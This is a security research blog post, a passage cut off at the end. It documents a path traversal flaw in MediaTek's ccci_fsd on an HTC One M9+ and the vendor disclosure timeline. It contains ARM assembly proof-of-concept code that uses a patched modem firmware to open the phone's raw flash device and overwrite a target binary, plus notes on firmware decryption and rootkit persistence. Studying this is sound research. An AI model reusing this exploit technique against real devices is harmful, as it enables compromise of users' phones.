Today’s mobile systems are composed of multiple separate, but highly interconnected processing units, each running their own code. Previous research has proven that these components, especially the wireless baseband processors, are susceptible to remote or vicinity attacks. Such exploits have been demonstrated in practice against all major baseband SoC vendors during the last few years. Compromising the baseband (modem or MD as referred to in MTK source code) is a powerful attack as it provides access to all data passing through the modem while being virtually undetectable by current protection mechanisms. Yet it has its limitations in terms of persistence and usefulness: obviously such a compromise provides no access to client side encrypted data or data transmitted through other channels.

A natural next step in the evolution of these types of attacks is to elevate code execution and compromise other processing units, most importantly the application processor (AP). The advantage of attacking the AP through other components is that they can provide a less audited, less secure attack surface. The operating systems running on the application processor are usually equipped with modern defense and exploit mitigation mechanisms, which are continuously being improved, to raise the cost of exploitation. Contrary, other embedded components – such as cellular basebands that are less exposed to end users and traditional attack vectors – historically often received less scrutiny by the security community and vendors.

This research aims to provide a methodology to assess and audit interfaces between the different processing units, by following a case study for the HTC One M9+ with a Mediatek chipset and assuming the compromise of the 3G modem. First, the communication channels between the modem and other components are explored and the Android kernel driver, which is responsible for the baseband firmware loading, is investigated. After the general architecture and the communication landscape is introduced, examples are provided for the vulnerability assessment of user space applications that consume data from the modem. These examples include manual investigation (dissecting the remote file system driver) and automated discovery (fuzzing the vendor RIL). Furthermore, I developed a proof of concept exploit for a path traversal vulnerability found in the remote file system driver. The PoC can be utilized to take over the Android system from the compromised baseband. I will walk you through the PoC and the steps in developing it, including the reverse engineering process of the MTK baseband firmware. Finally, in an attempt to complete the exploit chain I also explain how the object files of the baseband firmware’s GSM stack can be fuzzed.

Since this research was carried out, Gal Beniamini from Google’s Project Zero published an excellent article about compromising Broadcom Wi-Fi chips and elevating access to the application processor. His work also further indicates that these are not isolated cases and not specific to certain vendors. Rather they are examples of design issues in modern (mobile) operating systems, namely that OS-es inherently trusts the intent and integrity of other processing components and do very little to defend from them.

The research has been conducted during my three months internship at Comsecuris and it has proven to be an exciting introduction to the low level security concerns of mobile platforms. Here, I would like to thank Ralf-Philipp Weinmann, Nico Golde and Daniel Komaromy for this incredible opportunity and the valuable insight they have provided throughout the research.

Disclosure Timeline

  • 14/11/2016 - Vulnerability disclosed to MTK (no response after multiple requests)
  • 14/11/2016 - Vulnerability disclosed to HTC
  • 18/11/2016 - Vulnerability disclosed to Google (as Lava Pixel phones are also effected)
  • 28/11/2016 - HTC confirms that they informed the vendor
  • 06/12/2016 - HTC reports that the issue is fixed and deployed to product lines
  • 10/02/2017 - Google asks for further clarification, no response ever since (issue is still open)

I was not able to verify how Mediatek fixed the issue, whether they published the fixes to all their costumers and whether these fixes made it into fielded devices.

The Mediatek Landscape

The first step of the research is gathering knowledge about the baseband processor and the low level architecture of the platform. The HTC One M9+ is shipped with a MediaTek MT6795T SoC (codenamed Helio X10) that contains an octa-core application processor (Cortex A53 ARMv8) and the integrated modem CPU. Unfortunately, MTK chips received less attention from the security research community than their competitors (Qualcomm’s Snapdragon and Samsung’s Shannon chipsets), yet a quick search on the Internet provides valuable resources. There is an abundance of leaked MTK datasheets, albeit for different or older chipsets (MT6595, MT6782, etc.) and they contain a high level overview of the SoC layout. Furthermore, Markus Vervier has written an article on attacks that enable active cloning of mobile identities and provides additional details about the Mediatek modem firmware.

According to the MTK documents, the modem system is composed of a DSP and an ARMv7 Cortex-R4 MCU. Both reside within the same chip as the application processor. The DSP implements the physical layer of the cellular baseband stack and is out of the scope for this post (when I talk about the modem or baseband processor I refer to the MCU). The ARMv7 core runs the baseband firmware and implements the different cellular data-link and network layer protocols.

To establish the possible attack surface from the modem’s point of view, we need to discover and understand the various communication channels between the AP and MD. We also need to identify the respective software components on the AP side, which consume data from the modem. A good place to start looking is the CCCI (Cross Core Communication Interface) kernel driver, which is responsible for the management and supervision of the baseband processor as well as the data exchanges between AP and MD. The bulk of the underlying Android kernel source code, including its drivers, is publicly available. The source code can be downloaded from HTC’s website. The relevant files are located within drivers/misc/mediatek/eccci/ and drivers/misc/mediatek/[dual_]ccci/ directories as part of the kernel source tree.

The CCCI driver comprises the CCIF subsystem, which contains the code to set up the low level communication interface between the application processor and the modem. This includes initializing the UART lines, which are mostly used to transmit AT commands and audio data, and setting up a shared memory region that is used to exchange data and control commands. The shared memory is divided into sub regions dedicated to certain tasks for transmitting various IPC commands, modem log entries, remote files and so on. Each of these memory regions are divided into a separate transmit and receive channel and access to these is controlled by a dedicated signal area. The signal area is used as a sort of flow or access control channel to indicate when new data is available in the shared memory buffer or when it has been received by the other party.

The remainder of the CCCI driver provides unified access to these channels (including the shared memory and the UART channels) through its own ring buffer implementation. These ring buffers are exposed to the user-space Mediatek binaries through a set of character drivers providing IOCTLs system call handlers. Figure 1 depicts this architecture, including the modem side of the CCCI driver. Most of the logic regarding the management of the modem and processing of its data is implemented in the user-space applications. The kernel driver merely functions as a communication interface (as its name suggests) that controls the communication channels between the modem and the AP.

Figure 1: CCCI Overview

The other main responsibility of the kernel driver is the actual setup and bring-up of the baseband MCU. This task is initiated and supervised by the user-space ccci_mdinit binary, but carried out by the driver. The initial setup and first boot involves the following steps:

  • Initialize hardware
  • Populate the modem control structure (including the memory addresses for shared memory, modem ROM and RAM) and register callbacks
  • Register the modem and configure its memory areas
  • When the actual boot is triggered:
    • The firmware image is loaded (this is going to be discussed in detail later)
    • The modem is powered on
    • The modem is started
    • The MPU protection is set up
    • The runtime data is sent to the modem

Figure 2: Modem Bootup

The most interesting part for us is how the memory is set up for the modem by the CCCI driver. Part of the applications processor’s physical memory is reserved for the modem to serve as a RAM, ROM, and the shared memory for the inter chip communication. The baseband firmware image is loaded into the ROM area and parts of it (mostly its data section) into the RAM. Below is a code snippet of how the modem handler and the memory protection is set up for these regions (the actual protection flags will be discussed later).

void ccci_config_modem(struct ccci_modem *md)

    // Get memory info
	get_md_resv_mem_info(md->index, &md_resv_mem_addr, &md_resv_mem_size, &md_resv_smem_addr, &md_resv_smem_size);
	// setup memory layout
	// MD image
	md->mem_layout.md_region_phy = md_resv_mem_addr;
	md->mem_layout.md_region_size = md_resv_mem_size;
	md->mem_layout.md_region_vir = ioremap_nocache(md->mem_layout.md_region_phy, MD_IMG_DUMP_SIZE); // do not remap whole region, consume too much vmalloc space 
	// DSP image
	md->mem_layout.dsp_region_phy = 0;
	md->mem_layout.dsp_region_size = 0;
	md->mem_layout.dsp_region_vir = 0;
	// Share memory
	md->mem_layout.smem_region_phy = md_resv_smem_addr;
	md->mem_layout.smem_region_size = md_resv_smem_size;
	md->mem_layout.smem_region_vir = ioremap_nocache(md->mem_layout.smem_region_phy, md->mem_layout.smem_region_size);
	memset(md->mem_layout.smem_region_vir, 0, md->mem_layout.smem_region_size);

void ccci_set_mem_access_protection(struct ccci_modem *md)
	rom_mem_phy_start = (unsigned int)md_layout->md_region_phy;
	rom_mem_phy_end   = ((rom_mem_phy_start + img_info->size + 0xFFFF)&(~0xFFFF)) - 0x1;
	rw_mem_phy_start  = rom_mem_phy_end + 0x1;
	rw_mem_phy_end	  = rom_mem_phy_start + md_layout->md_region_size - 0x1;
	shr_mem_phy_start = (unsigned int)md_layout->smem_region_phy;
	shr_mem_phy_end   = ((shr_mem_phy_start + md_layout->smem_region_size + 0xFFFF)&(~0xFFFF)) - 0x1;
	CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD ROM region<%d:%08x:%08x> %x\n", 
                              	rom_mem_mpu_id, rom_mem_phy_start, rom_mem_phy_end, rom_mem_mpu_attr);

	CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD R/W region<%d:%08x:%08x> %x\n", 
                              	rw_mem_mpu_id, rw_mem_phy_start, rw_mem_phy_end, rw_mem_mpu_attr);

	CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD Share region<%d:%08x:%08x> %x\n", 
                              	shr_mem_mpu_id, shr_mem_phy_start, shr_mem_phy_end, shr_mem_mpu_attr);

This kind of setup suggests that the external memory (the DRAM) is shared across the AP and MD with a multiport memory controller, but they have a different view of the memory. The interested reader can learn more about the different shared memory solutions for SoCs in this article. The baseband MCU has its own address space, however, the shared memory can be remapped on both sides to lie at the same address. In our case, the address is different: the shared memory is mapped to a constant 0x40000000 address on modem side while it remains at the original physical address on the AP side. The AP uses the offset between this physical and the remapped modem address to adjust the different pointers, written to the shared memory, as they are treated as absolute memory addresses on the modem side. In the same function the ROM is also remapped to be on the zero address for the modem.

remainder = smem_offset % 0x02000000;
md->mem_layout.smem_offset_AP_to_MD = md->mem_layout.smem_region_phy - (remainder + 0x40000000);
set_md_smem_remap(md, 0x40000000, md->mem_layout.md_region_phy + (smem_offset-remainder), invalid); 
CCCI_INF_MSG(md->index, TAG, "AP to MD share memory offset 0x%X", md->mem_layout.smem_offset_AP_to_MD);

set_md_rom_rw_mem_remap(md, 0x00000000, md->mem_layout.md_region_phy, invalid);

The key takeaway is that the ROM and RAM of the baseband RTOS is present in the application processor’s memory, thus it has access to it. The AP serves as a sort of master to the MD and can power-cycle the modem and access some of its registers to set up the initial memory mappings. This means a kernel module can be used to retrieve a handle to the modem struct, read the addresses of these memory regions and dump their content. Below is the output of such tool:

Sending ioctl: 8008d200
[md_dump] modem 0 info MD:lwg*MT6795_S00**2015/05/05 18:19*Release
AP:lwg*MT6795E1*08000000 (MD)07a00000

[md_dump] modem 1 info
[md_dump] modem 2 info
[md_dump] modem 3 info
[md_dump] modem 4 info
[md_dump] modem 5 info

Sending ioctl: 8008d201
[md_dump] driver used by modem: ECCI@
Sending ioctl: 8008d202
[md_dump]----dumping modem info----
[md_dump] Modem 0 at: ffffffc0a6848000
[md_dump] Rom:
[md_dump]       Phys start: e8000000
[md_dump]       Virt start: ffffff8000792000
[md_dump]       size: 8c3aac
[md_dump] Ram:
[md_dump]       Phys start: e88d0000
[md_dump]       Virt start: ffffff8001060000
[md_dump]       size: 7730000
[md_dump] Shm:
[md_dump]       Phys start: f0000000
[md_dump]       Virt start: ffffff8000800000
[md_dump]       size: 200000
[md_dump]       offset to MD: b0000000
[md_dump] CCIF base: 0
[md_dump] SIM type: eeeeeeee
[md_dump]----End of Dump----

To dump the actual content of these memory regions the physical addresses must be used as they are only partially present in the kernel’s virtual address space. If we wish to access the RAM, one more step is required as it is protected from the AP by the External Memory Interface’s (EMI) MPU. This protection can be removed by calling the ccci_clear_md_region_protection routine, which wipes the MPU protection from the modem memory regions. With the help of the same kernel module and /dev/mem it is possible to monitor the communication between the modem and the AP and to inject arbitrary commands.

Bug Hunting

Now that we have a general idea about what kind of data is controlled by the modem and how it is processed, it is time to look for bugs that can be leveraged to gain code execution. The CCCI kernel driver is a tempting target as a vulnerability there would potentially grant complete control over the Android system. However, it mostly serves as a gateway between the modem and the user-space applications without processing most of the data, which significantly reduces the attack surface. This of course does not guarantee that there are no vulnerabilities in the kernel driver, but I decided to focus my attention on the user-space applications as they appeared to be the easier targets.

There is just one low hanging fruit that must be investigated before moving on to the user-space. With this kind of shared memory model if the EMI MPU is not configured correctly the modem could potentially write into the kernel address space, which can lead to an easy compromise. Let’s take a closer look at how the EMI MPU protection is set up (only relevant parts of the source code are shown):

#define SET_ACCESS_PERMISSON(d3, d2, d1, d0) (((d3) << 9) | ((d2) << 6) | ((d1) << 3) | (d0))


CCCI_INF_MSG(md->index, TAG, "MPU Start protect AP region<%d:%08x:%08x> %x\n",
                            ap_mem_mpu_id, kernel_base, (kernel_base+dram_size-1), ap_mem_mpu_attr); 

The leaked MTK documents help significantly with deciphering what we see here. Domain 0 is identified as the application processor domain, domain 1 is dedicated for the modem MCU, while domain 2 controls the DSP, and finally domain 3 is associated with the multimedia engine. With that information in mind we can see that the MD ROM address range is readable by the AP and the MD in secure mode, the RAM is only accessible to the modem and shared memory is available to both of them. Unfortunately, the rest of the physical DRAM (starting from the Android kernel base) is only readable by the MD so direct overwrite of the kernel is not possible.

As previously shown in Figure 1, there are quite a number of user space application that utilize the modem services. Auditing all of them is a really ambitious task as some of them are quite large and source code is generally not available. Due to the limited time frame of my internship and therefore the research, I decided to investigate the two most promising candidates.

The Radio Interface Layer (RIL) daemon is responsible for the messaging between the Android telephony services and the modem hardware. It includes a vendor RIL portion, which provides vendor-specific glue code between Android RIL and proprietary modem interfaces. Its duties include the dispatching of unsolicited commands. These commands are initiated by the modem on certain events and parsed by the vendor RIL library. The structure of these commands comply with the traditional Hayes AT command format with proprietary extensions that can get fairly complex in detail. This means that the modem can send controlled data at arbitrary times that is going to be parsed as AT commands by the vendor RIL implementation. Because of this the RIL library serves as an excellent target for fuzzing.

The second promising candidate is the ccci_fsd application, which provides a remote virtual file system for the modem to store persistent configuration files. The modem does not have its own file system. Furthermore, it does not have direct access to any non volatile memory. This necessitates that configuration parameters, which need to be kept across modem reboots, must be stored on the AP side. The ccci_fsd binary and CCCI kernel driver together provide the NVRAM file system API that is used by the modem to access the files under /data/nvram/md on the AP file system. A common mistake in such file system implementations is the improper sanitization of path strings resulting in path traversal vulnerabilities. Such vulnerabilities can easily be verified by manually reverse engineering the parts of theccci_fsd binary that handle opening files.

Fuzzing the Vendor RIL

The MTK RIL implementation is proprietary, however, there are leaked sources for previous versions. From a quick glance it becomes obvious that the MTK implementation follows the Android reference RIL closely. This is good news, because it means that most of the public documentation about RIL applies to our target. The figure below illustrates how unsolicited commands are processed usually and what functions are called.

Figure 3: Command Flow in RIL

On the device, the vendor RIL is implemented in the library and just like the reference implementation it receives unsolicited commands in the readerLoop function. The reader loop originally reads from the /dev/ttyC0 device or, in case CMUX multiplexing is used, from one of the pseudo- terminals provided by the gsm0710muxd application. These communication channels can be monitored and modified by setting up a Man-in-the-Middle pseudo terminal for /dev/ttyC0 following the steps outlined in Fabien Sanglard’s article.

The reader loop simply expects a channel description as an argument, which determines from where commands are read and where they are dispatched. For fuzzing, we can set up this channel descriptor to read from STDIN rather than PTY devices and then dispatch the commands to the usual handler for parsing. Setting up the channel is straightforward. Following is an excerpt from the relevant code (the complete AFL wrapper is available here):

memset(&channel, 0, sizeof(channel));
channel.fd = STDIN_FILENO;
channel.ATBufferCur = channel.ATBuffer;
channel.myName = "RIL_CMD_READER_1"; = 1;
channel.unsolHandler = (libBase + 0x10AD0); //onUnsolicited
channel.readerClosed = 0;
channel.responsePrefix = NULL;
channel.smsPDU = NULL;
channel.p_response = NULL;
channel.tid_reader = syscall(SYS_gettid);

// call reader loop
printf("[INFO] Starting the event handler\n");
readerLoop = (libBase + 0x2f020);

One issue remains before AFL can drive our target: the readerLoop reads commands in an infinite loop which is inconvenient for fuzzing with AFL. As a workaround, we patch a single instruction at the end of the loop so that the reader would return after processing the command. In hindsight, it probably would have been easier to skip the reader loop and directly call the unsolicited handler, feeding it the AFL input and the fake channel description.

Due to the limited time available for this research I could not run the fuzzer extensively. Still, I had a few promising crashes, following up on these is left to be done in the future.

Manually Analyzing the ccci_fsd Binary

As introduced previously, the ccci_fsd program is used to provide access to persistent storage to the modem. The CCCI driver is used to transmit the requests and subsequently reading or writing data, but it is the ccci_fsd user space program that ultimately executes the file operations on the AP system. The concept is further detailed by the Mediatek documentation.

Figure 4: NVRAM File Transfer with CCCI

The reverse engineering process of the binary is assisted by the significant amount of Android log messages. A quick glance at the strings tells us that a conventional file system API is implemented with the usual read, write, open, close, seek and delete operations. We can set up an LD_PRELOAD hook to monitor the communication (or simply run strace on the application) and observe the custom protocol that is used to transmit the file system API requests and responses through the ccci_fs character device:

00000000  00 00 00 00 5c 00 00 00  0e 00 b8 04 00 00 00 00  |....\...........|
00000010  01 10 00 00 02 00 00 00  36 00 00 00 5a 00 3a 00  |........6...Z.:.|
00000020  5c 00 4e 00 56 00 52 00  41 00 4d 00 5c 00 4e 00  |\.N.V.R.A.M.\.N.|
00000030  56 00 44 00 5f 00 44 00  41 00 54 00 41 00 5c 00  |V.D._.D.A.T.A.\.|
00000040  4d 00 54 00 34 00 41 00  5f 00 30 00 30 00 31 00  |M.T.4.A._.0.0.1.|
00000050  00 00 00 00 04 00 00 00  00 04 01 20 00 00 00 00  |........... ....|

As shown in the above excerpt of a communication trace, the API uses a DOS-style path format with drive letters, backslash separators, and uppercase wide character file and directory names. A quick search for this file on the Android system reveals that it is located under /data/nvram/md/NVRAM/NVD_DATA/MT4A_001 with a set of other similar binary config files. Next, we need to figure out how the DOS style path is converted into Unix path and how it is sanitized. Locating the open function in IDA is trivial due to the high number of log strings and the straightforward code:

Figure 5: FS_Open in IDA Pro

The w16toc_change_path_delim function copies the received path string to a stack buffer while converting it from wide character to 8 bit char representation and replacing backslashes with forward slashes. After that, the first two characters are checked for containing any of the allowed drive letters (Z:, X:, Y: and W:). If matching, a length check is performed on the remainder of the path and the associated prefix path. The W: drive is handled slightly differently as it is used to retrieve the DSP firmware image. Other drive letter map to certain paths. E.g. Z: maps to /data/nvram/md. The final path string is generated by concatenating the received path and the prefix and passing the result to the open system call.

Leveraging the MTK Path Traversal Vulnerability

This means that there is no input sanitization at all, so the modem can get a handle and potentially overwrite any file on the AP system that the ccci_fsd application has permission to access. As an example the path Z:..\..\..\system\bin\ls is turned into /data/nvram/md/../../../system/bin/ls. However, the system partition is read-only. The ccci_fsd daemon is run as the radio user, which is part of the system group and it also has some further restrictions enforced by SELinux. Dumping the compiled /sepolicy file (by running sesearch on it) reveals that the binary is restricted to access nvram data files, the ccci drivers and config files, but also the platform block devices under /dev/block. Filtering the list of these devices for those that can be written by the system group yields us the following result:

brw-rw---- root     system   179,   0 2016-08-31 11:00 mmcblk0
brw-rw---- root     system   179,  32 2016-08-31 11:00 mmcblk0boot0
brw-rw---- root     system   179,  64 2016-08-31 11:00 mmcblk0boot1
brw-rw---- root     system   179,   1 2016-08-31 11:00 mmcblk0p1 -> proinfo
brw-rw---- root     system   179,  13 2016-08-31 11:00 mmcblk0p13 -> secro
brw-rw---- root     system   179,  14 2016-08-31 11:01 mmcblk0p14 -> para
brw-rw---- root     system   179,   2 2016-08-31 11:00 mmcblk0p2 -> nvram
brw-rw---- media    system   259,   0 2016-08-31 11:00 mmcblk0p32 -> control
brw-rw---- root     system   259,   8 2016-08-31 11:00 mmcblk0p40 -> boot
brw-rw---- root     system   259,   9 2016-08-31 11:00 mmcblk0p41 -> recovery
brw-rw---- root     system   179,   8 2016-08-31 11:00 mmcblk0p8 -> seccfg

Great! The first item of the list is the raw device for the internal flash that contains the system image including the system partition.

This means that the modem is able to open the mmcblk0 raw devices, and as a result, search the device for the binary data of an executable (preferably one that is run as root) and overwrite it with arbitrary code, thus compromising the Android system. To test this theory in practice we need to examine the modem RTOS, discover how the NVRAM API is used from within the modem, and finally modify the firmware to create a proof of concept exploit.

Analyzing the Modem Firmware

There are multiple ways to obtain the modem firmware image. As introduced earlier, the ROM image is present in the AP memory and can be dumped. The firmware image file is also present on the AP file system as it is loaded by the CCCI kernel driver. I decided to first take a look at the code that loads the driver.

From an architectural perspective the firmware loading works as follows:

This sounds good, however, if we take a closer look we can spot multiple issues with it. For some reason only the first 0x18000 bytes of the image is encrypted, while the rest is stored in cleartext. This alone would not be a problem, but the real issue here is that the hash, that is used to verify the image and signed by Mediatek: it is only calculated over the headers! This leaves the actual firmware data without any sort of integrity protection. As a result, modified or corrupted images are loaded by the CCCI driver without a problem.

As a reference for the interested reader, the actual image format is composed of an image header, a cipher header, the actual data, verification hash, the signature, and the extension headers.

Figure 6: Firmware Image Headers

To obtain the raw image from the one stored on the device (as /system/etc/firmware/modem_1_lwg_n.img) we can write a program that removes the headers and trailers and decrypts the image. The firmware is encrypted with AES-128 and the keys are statically compiled and encoded within the kernel. They can either be dumped from kernel memory or a kernel module can be used for hijacking the sec_aes_init (source) and lib_aes_dec (source) routines and subsequently decrypting the image.

Now that we have obtained the raw image we can load it in IDA for manual analysis. A few Mediatek debug utilities provide tremendous help during the reverse engineering of the firmware image. First of all, there are modem trace log files available under /mnt/shell/emulated/0/mtklog. These are helpful in tracking the firmware execution flow. By default only critical events are reported, but the log level can be controlled with the /system/etc/mtklog-config.prop config file to include non-critical events as well. Another useful utility is the /sys/devices/virtual/misc/md32/md32_ocd virtual device, which provides remote debugging capabilities for the modem. Lastly, there is also an executable (also called md32_ocd), which implements basic functionality such as setting and reading modem registers, reading and writing memory, and powering on and off the device. Unfortunately, it seems to be disabled by default on production devices and the requested operations fail silently. I could not find a way to re-enable it and I am unsure if it is possible at all. It might be permanently disabled by a blown fuse, but more likely it can be enabled by some configuration setting or kernel API since the associated driver is compiled into the kernel.

Out of the many debug facilities, the one that turned out to be the most valuable is a symbol file kept under /mnt/shell/emulated/0/mtklog/mdlog1/MDLog1_*date*/DbgInfo_*modem-version*. This file contains all the function names and respective addresses that appear in the firmware image. Furthermore the parity bit of the function address tells whether the given function is compiled in ARM or Thumb-2 mode. I wrote an IDA python script that parses this file and defines all functions and provides us with a fully populated IDB (see Figures 7a and 7b for the results). The T segment register can be set to switch between ARM and thumb mode then code and functions can be defined.

Figure 7a: IDA Navigator Before the Symbol File is Processed

Figure 7b: IDA Navigator After the Symbol File is Processed

If this was not enough, partial source code of the MT6795 modem is publicly available for unknown reasons. With all these resources at hand, we can reduce the reverse engineering effort and still form a relatively complete picture of the modem system. The MD firmware is a Nucleus RTOS image and uses a customized version of the CCCI driver for the inter-chip communication. Just like on the AP side the driver can be split into two main components: the lower layer CCCI-CCIF is responsible for providing an interface to the shared memory channels, while the other part of the driver provides access to the CCCI services to the Nucleus tasklets.

The most interesting part of the firmware is its NVRAM implementation details on how the modem retrieves files from the AP system. This will be useful for further developing a PoC. The modem’s NVRAM API relies on the services of a Nucleus driver called ccci_fs, which is used to access the remote file system. The actual remote file system API is implemented in the ccci_fs_apis.c source file and it contains similar functions to what we have observed in the ccci_fsd application. Taking a closer look at the defined functions reveals a conventional file system API as can be seen below:

kal_int32 MD_FS_Open(const WCHAR * FileName, kal_uint32 Flag);
kal_int32 MD_FS_Close(FS_HANDLE FileHandle);
kal_int32 MD_FS_Read(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Read);
kal_int32 MD_FS_Write(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Written);
kal_int32 MD_FS_Seek(FS_HANDLE FileHandle, kal_int32 Offset, kal_int32 Whence);

Just like in the ccci_fsd binary the MD_FS_Open call expects a wide char string as a filename. It is filled into a parameter structure and passed to the AP side through the shared memory interface. The format of these parameters correlates with what was seen in the intercepted data from the LD_PRELOAD-ed ccci_fsd application. The rest of the API is designed similarly and each of these functions fill the same structure, containing a command code for the requested operation and the parameter. A command code identifies the requested operation and the parameter contains associated data such as the filename or the read or written bytes.

Potential Backdoor Functionality

Before moving on to writing the actual proof of concept, there is just one thing that must be mentioned here. While looking through the Helio X10 modem sources, I stumbled upon a very suspicious looking source file called rmmi_ats.c. It implements custom AT commands that triggers “telemetry” collection routines such as capturing keyboard and touch events, the current picture of the screen, or the output of the phones camera. It is even capable of emulating key presses and provides many other similar functionality, all with questionable intent. These functions can be executed remotely from the ISP side by sending the associated AT commands to the phone. Even though it is not compiled into the firmware image of the researched device, it still highlights potential capabilities of a compromised baseband.

This further stresses the importance of strict security gaps between the hardware components of such platforms (be it mobile, embedded or any other device) and raises questions about how much one can trust third party closed source applications. Before jumping to a quick conclusion, I would like to emphasize that these source files are coming from the Internet from unknown sources, they are definitely not official and cannot be considered genuine. Still, it is an interesting research question whether other Mediatek devices with similar chipsets contain this code (especially from the Chinese market) in production.

Proof of Concept Exploit

Recall that the original assumption of the research was that baseband chips can get compromised in the first place, as previously demonstrated by other researchers (including Comsecuris). To simulate such a compromise we can directly modify and patch the firmware image to run our proof of concept code. This is possible due to the aforementioned lack of proper secure boot. At least, the CCCI driver fails to validate the integrity of the loaded image so this ability is given in practice. All we need is a good victim function that can be overwritten by our code to extend the firmware’s functionality. An ideal candidate can be triggered from the AP and would not disrupt the regular operation of the modem (too much). Such functions are the AT command handlers itself.

A victim that satisfies such conditions is the rmmi_vts_hdlr handler, which is executed upon receipt of an AT+VTS command. The benefit of modifying this function is that it is located in cleartext portion of the firmware image. Therefore, there is no need to bother with decrypting and encrypting the image file while developing the PoC.

Another useful routine is rmmi_write_to_uart, which can be used to send messages to the AP through the same serial line that is used to transmit AT commands. This provides us some much-needed debug capabilities by allowing to send arbitrary data from the modem. To receive such data on the AP side, the gsm0710muxd process can be killed and a serial console can be attached to the /dev/ttyC0 device, which gives us complete control over the communication. The execution of the overwritten VTS handler can be triggered on the modem by sending the AT+VTS command on this serial line.

Now that all the primitives are explored, it is time to piece the actual proof of concept together. In order to gain code execution on the AP we need to open the /dev/mmcblk0 device on the modem and then seek to roughly where the system partition begins. Next, we search for and overwrite the target binary on the raw partition. It is possible to seek exactly to the offset of the victim executable, but in practice this address can vary between devices so it is not a realistic assumption that it is known a priori. Even without knowing the exact address, the device can be read block-by-block while searching block data for specific binary sequences that ultimately identify our target binary. This process is made easier by the fact that the files always begin on a block boundary so that the offset of the sequence within a block does not change. Once the victim binary file is found it can be overwritten with arbitrary data. The next time it is loaded into memory, our malicious code will be run.

I have decided to write the PoC in assembly as the code is fairly small and requires low level interaction with existing functions in the firmware image. The complete source code and the scripts used to patch the image are available here, but the major steps are covered in this blog post.

First, the malicious path string is copied to the stack as wide char string using kal_wsprintf.

.set FORMAT_STR, 0x7053b5
.set MMCBLK_PATH, 0x7053b8
.set KAL_WSPRINTF, 0x3ba19f
@ move the path to stack as wchar
mov r0, sp
ldr r1, =FORMAT_STR @%s format string
ldr r2, =MMCBLK_PATH @ Z:../../../dev/mmclkb0
blx r6

Then the block device is opened with read/write permissions.

.set RWO_FLAGS, 0x21010400
.set FS_OPEN, 0x103861
@ open the /dev/mmcblk raw device
@ with R/W permissions
mov r0, sp @the path string
ldr r1, =RWO_FLAGS
ldr r6, =FS_OPEN
blx r6
@ store the returned handler
str r0, [sp]

We seek approximately to the beginning of the system partition on the device.

.set FS_SEEK, 0x103C39
@ first seek into the middle of mmcblk device
@ that is roughly where system starts
mov r0, fhl
mov r1, #1
lsl r1, #30
mov r2, #1 @0 begin 1 cur
ldr r6, =FS_SEEK
blx r6

After that, we start reading the device block-by-block and check whether it contains the pattern that identifies the victim. The PoC looks for an 8 character long constant string that I set up for testing. This can be changed to any binary sequence that is unique to the target application (or block).

.set FS_READ, 0x103A65
@ keep reading from device until
@ the target is found
mov r5, #0
mov r0, fhl @ file handler
mov r1, sp @ read to the stack
mov r2, #1 @ 512 bytes = 1 block
lsl r2, #9
mov r3, r2 
add r3, sp, r3 @ the number of bytes read
ldr r6, =FS_READ
blx r6

@ check if the read value contains the pattern
@ this is oversimplified
ldr r2, =CANARY1
ldr r1, [SP]
cmp r2, r1
bne isover
ldr r2, =CANARY2
ldr r1, [SP, #4]
cmp r2, r1
@ if the victim is found we can overwrite it
beq write

Finally, the beginning of the target file is overwritten with a string. In a real exploit this is where the shell code would be written to the victim binary.

.set EVIL, 0x4c495645
.set FS_WRITE, 0x103B55

@ load the payload string "EVIL"
ldr r0, =EVIL
str r0, [sp]
@ and write it
mov r0, fhl @ file handler
mov r1, sp @ the payload
mov r2, #1 
lsl r2, #9 @ 512
mov r3, sp
add r3, r3, r2
ldr r6, =FS_WRITE
blx r6

This solution has a few a caveats. First, it takes considerable amount of time to search the flash memory block-by-block. The PoC takes roughly two hours to finish which is mostly due to the slow inter-chip I/O operations required to read a block. This overhead can be significantly reduced by reading multiple blocks in one request and then searching them in memory. Keeping multiple blocks in memory should not be a problem as the modem has plenty of slack space in RAM (in the range of multiple MB) and alternatively parts of the shared memory could be utilized too. The other concern is that most of the Nucleus tasks run in non-preemptible mode, including the AT command handlers. Therefore, other tasks are starved while the exploit is being executed. This makes the modem non-responsive and locks up its services, which then results in the cellular network not being available on the AP side. This results in no signal and is all but stealthy. This can be circumvented by starting a new task for the exploit, by using the Nucleus API with preemptible priority levels.

By overwriting the modem firmware image on the block device this attack can also be leveraged to gain persistence and to turn the baseband into a rootkit.

Looking for Entry-level Vulnerabilities

I spent the last few weeks of my internship trying to complete the exploit chain by looking for a vulnerability in the baseband firmware. Unfortunately I ran out of time and could not finish the chain. Yet I think the approach I took is worth discussing. The MT6795 sources contain a set of pre-compiled object files in the form static libraries some of which implement the different layers of the cellular stack. The original idea was to try to link one of them with a stub that feeds input to it so it can be fuzzed by AFL.

The implementation of the mobility management (MM) layer is a good candidate for fuzzing as it contains many complex parsing functions that are potentially prone to memory corruption errors and the protocol is filled with type-length fields. Spending a little time reverse engineering the firmware image clarifies that the MM layer is set up by calling the mm_init function and then the mm_main function is executed whenever new data arrives to the layer. The mm_main function receives its data in the form of Interlayer Messages (see definition below) that contains a few crucial fields. The msg_type is used to identify which operation the layer should carry out, the content of the local_para_struct (definition) depends on the selected operation while the peer_buff_struct (definition) contains the actual PDU.

/* The Interlayer Message structure, which is exchaged between modules. */
typedef struct ilm_struct {
   module_type       src_mod_id;      /* Source module ID of the message. */
   module_type       dest_mod_id;     /* Destination module ID of the message. */
   sap_type          sap_id;          /* Service Access Pointer Identifier. */
   msg_type          msg_id;          /* Message identifier */
   local_para_struct *local_para_ptr; /* local_para pointer */
   peer_buff_struct  *peer_buff_ptr;  /* peer_buff pointer */
} ilm_struct;

Knowing all this we can write a wrapper that calls mm_init, then sets up an ilm_struct from the fuzzer input, and calls mm_main with it. Of course it is not that simple as the MM layer relies on a various Nucleus OS services and other layers. Trying to link our wrapper to libmm.a yields various undefined reference errors. As a first try we can replace all of these undefined references with a simple function stub that prints when it is called and returns. This allows the wrapper to be successfully linked with the library, but obviously it will not function correctly. Now we can begin an iterative process of running the wrapper and stopping when one of our stubs is hit. After that, the original version of the stubbed out function must be reverse engineered to an extent that we can decide which of the following options to take:

  • If the function is not crucial for the operation of the MM layer (e.g. passing the ILM to upper layers) it can be left as a stub (see the sources
